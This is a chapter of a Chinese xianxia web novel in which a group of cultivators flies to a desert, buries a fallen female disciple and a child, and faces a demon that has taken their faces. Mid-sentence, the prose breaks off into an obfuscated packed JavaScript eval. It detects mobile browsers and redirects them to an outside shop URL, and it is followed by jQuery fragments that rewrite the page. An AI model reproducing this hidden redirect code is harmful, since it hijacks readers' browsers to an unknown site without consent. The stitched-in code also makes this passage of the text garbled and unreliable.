12.第 12 章
    沈缨此行去人族的晋朝西境大漠,即将要面对的是一只自带秘境空间的高阶魔物,他看原著时只看感情线,只有一些有趣的设定能让他留下印象,比如这趟旅程的目的。

    那只高阶魔物叫“观天魔”,因为它住在井里坐井观天。

    沈缨此时坐在四翼仙鹤的背上,有些茫然地看着云海在透明的结界外翻涌成浪,心想,他们这会是坐鹤观天。

    高阶魔一向藏在秘境里,它们窥伺人间,等待天灾人祸。时机一成熟,它们便打开秘境的入口出现在防御薄弱的地方,尽情地吞吃人族,吃得越多,它们化成的人形越逼真,也越强大。

    世人无不恐惧魔物,而魔物之上还有魔修,世人无不痛恨。

    魔物吃人,目的是为了成为人,魔修却是由人堕落成畸形的邪祟。

    沈缨想着想着,就扭头去看不远处闭目打坐的周无戎,这小子正在接受身为问天宗弟子的第一次历练,秦戒让他在仙鹤外围铸起结界,他已经稳稳铸了三天。

    距离大漠还有两天,看起来他耐心和耐力兼有,修为也日渐精进,心性比楚放稳和韧,做个乖狼是很好的同伴,做个癫狗就很麻烦了。

    这时鹤颈处由秦尚接替秦戒“代驾”,秦戒自然而然地来到沈缨身边坐下,问他适不适应,沈缨猛猛点头并朝他伸手:“大佬你脸上血色又没了,伸个手,我交一下机油费。”

    “?”秦戒又听不太懂他的语言,沈缨总是说一些稀奇的方言,不过他知道他要给他疗愈,于是坦荡地把手递给他,他的伤势几近痊愈,但身上因为有四道阻碍自愈的绝爱锁,目前比从前易疲易虚。

    沈缨像个血包一样不时给他疗愈和供能,有时疗愈得久,一结束他就累得倒头睡觉。

    眼下又是这样,沈缨松开他的手,都不用解释,说:“报告,晚安!”

    随后就自觉地躺到鹤背上羽毛最多的地方,一头扎进毛茸茸里,身体蜷缩成虾米,安详地入睡了。

    秦戒连声谢谢都没说完,见状只得由他去,虽然他有点怀疑沈缨钻去睡觉是躲避他的任教,他还想再教他多背一些此界常识的。

    他摇摇头,闭上眼打坐运功。

    但闭眼不代表他看不见,秦戒早已把五感修炼拓展到极致,他额有天眼,只是无形。

    因此,他看到有一缕轻风吹拂过鹤背的羽毛,把沈缨的身体盖得更严实了。

    用风给他盖被子?

    秦戒好奇地看向打坐的周无戎,他不知道自己的细微举止暴露无遗,他安静地看了一眼蜷在鹤羽下的沈缨,继续认真地御着结界。

    秦戒感到意外,没有憋着好奇,他睁开眼直接到周无戎身边坐下,先问他御了三天结界疲不疲惫。

    周无戎摇头:“师尊,这点差事弟子完全没问题的。”

    秦戒叹了一声,眼下四翼仙鹤在他的操控下日行达八千里,迎着它的疾速和体型,能全程坚持三天三夜御起密不透风的结界,又在刚才随心随意地打开小缝隙放进来一缕清风,周无戎的修为进益得比他想象中的还要快。

    这二弟子比他那逆徒勤奋好学十倍,又极擅长自学悟道,进益神速也在情理之中。

    秦戒问了他一些修炼上的体悟,周无戎从善如流,秦戒话锋一转,说道:“你对你师娘似乎是发自肺腑的关怀和敬重,这很好,你离开妖族仅有四个月,多和人族相处,结交些好友知音,这都是很好的经历。”

    周无戎没法舌灿莲花了:“……是。”

    “楚放不喜欢你师娘的性子,大概是嫌他时而怯懦时而放肆,还好你不讨厌。”

    周无戎笑着引开了话题:“还是师尊了解师兄的性情,弟子什么也看不出来,弟子一直觉得修炼不难,可是参悟人情人心始终不解其道,往后还要劳烦师长们多多提点才是。”

    秦戒笑了笑:“七情六欲,声色滋味,录书石上不记载这些,为师自己也常有疑惑,在这点上,我们师徒怕是都有长路要走。”

    周无戎脱口而出:“您有师娘,还会疑惑吗?”

    他潜意识觉得,手里如果攥着那个此时呼呼大睡的人形止痛药,情|欲和声色滋味该是都无师自通的,毕竟男师娘一切俱有,还是疗愈圣体,而且柔弱无害,几乎无缺无瑕。

    但周无戎看他师尊的反应不是这样的,这令他感到诧异。

    他认为这是他师尊的问题。问天宗外的修士说秦戒是人不在无情道内,心在无情道里,看来所言不虚。

    周无戎向来自信,他丝毫不觉得有些认知是他自己的问题。

    *

    沈缨饱睡了一觉,再醒来时发现秦戒提高了飞机速度……是仙鹤速度,他们很快要抵达大漠了。

    他四处看,秦戒正在操控仙鹤降落,通天鼎悬在仙鹤脊背上,变得有单人床蚊帐那么大,秦尚提着本命剑在仙鹤的翅膀上提防着什么,见他起来还严肃地提醒:“沈缨,你呆在那别动,别跟前面几天一样探头往大地上看。”

    “好的!”沈缨站好不动,估计是底下的大漠尸横遍野,一副地狱光景,大哥爹总觉得他胆小如鼠,没准是觉得他看一眼就会晕过去。

    周无戎则还在原地,这会是挺拔地站着,一手握着问天宗出产的结实灵剑,发梢和脖子上挂着的狼牙都在随风飘荡,见他看过来就眼睛明亮,主动告诉他,大漠上有一口冒着黑气的绿井。

    沈缨便问他:“魔物呢?魔物长什么样?”

    “魔物还没出来。”周无戎神情沉着了些,“应该说,魔物吃饱餍足,暂时回到井里去吸收了。”

    不多时,仙鹤在一片还是苍黄色的沙漠上降落,沈缨脚一沾沙子,就想到原著里秦戒和楚放是在山谷的淤泥里应战观天魔的,想来观天魔还没有造成太大的破坏……

    紧接着他一抬头,被眼前的场景震住了。

    大约二十米的前方,有一扇巨门一样的结

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215105|150810||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    界顶天立地地竖立着,生生隔开了两个世界。

    在结界向西,那是一片乌漆嘛黑的墨绿沙漠,一口涌着黑雾的绿井塔一样耸立。

    结界以东,则是他脚下站着的正常黄色大漠,混杂着骨灰一样的灰沙。

    结界前有一个身影,裹着黑色的斗篷,似乎抱着什么东西跪着。

    他们一行人向那身影走去,秦戒笃定地说:“那是我们问天宗的弟子,结界是临终前用灵核自爆催化所生的。”

    秦尚率先上前半蹲下,低头去看那斗篷下的情形,静默一瞬,他轻轻揭开斗篷,露出一个怀抱幼童的问天宗女修。

    她身上的灰白道衫布满了红绿的污渍,红者她血,绿者魔血,她的身体已化成石雕,是死前催动灵核透支所致,或许也是她怕自己的样子吓到了怀中的幼童。

    她的右半张脸被魔物吃掉了。

    她的身躯已化为石雕,那可怖的伤口切面便覆盖上了一层石灰,没有白花花的人体组织,而是呈现苍凉厚重的地质感。

    她维持着死前的模样,垂着仅剩的左眼慈悲地看着怀里的幼童,幼童贴在她的怀里,怯怯地露出半张脸仰望着她。

    秦尚改半蹲为半跪,伸手轻轻阖上她的左眼:“她羽化了。”

    女修的身躯龟裂,化成灰烬随风洒落,灵核铸造的结界还在保护膝下的土地。

    她消逝后,怀里的幼童倒在了秦尚的手里,他用灵力擦拭幼童已经凝固的脸蛋:“她没有幸存。”

    秦尚将幼童以及女修的灰烬就地埋葬,秦戒走来,从乾坤袋里找出一块灰色的石碑立在坟包上,刻下问天二女碑五个字。

    四人缄默地在墓碑前拜了三拜,还没拜完,天上就下起了粘稠的黑雨,秦戒运转着通天鼎笼罩在众人头顶,黑雨便无法沾到他们。

    拜完起身,沈缨红着双眼朝结界外眺望一眼,目之所至,只见那口绿井出现了骇人的一幕,一个笼罩在黑雾里的“东西”从井口爬了上来,它有四肢,完全爬出井口后,它撕去身上的黑雾,身形依稀能认得出是个人形。

    那就是观天魔。

    沈缨喉结滚动了好几遭,吓得从乾坤袋里抓出了一把大勺紧攥在手里。

    观天魔吃了许多人,初步化出了人态,但举止依旧狰狞,它像蛙一样四肢着地朝二女碑爬来。

    沈缨起初看不清它的脸,畏惧还没那么强烈,待它爬近一点,只见它的脸是刚才他们祭拜的女修的右半张脸、以及女童的左半张脸拼成的。

    沈缨倒抽一口冷气,比起恐惧,他更多感受到的是震撼和悲壮。

    女修当是观天魔最后吃到的最强修士,它便本能地用她的脸化作自己的脸。

    但女修死前放心不下怀里的女童,恰巧女童正是仰着半边脸望她,观天魔被她眼中最后牢记的景象影响,便用了女童的左脸来组成自己的脸部。

    坐井观天的魔物和立世问天的修士杠上了。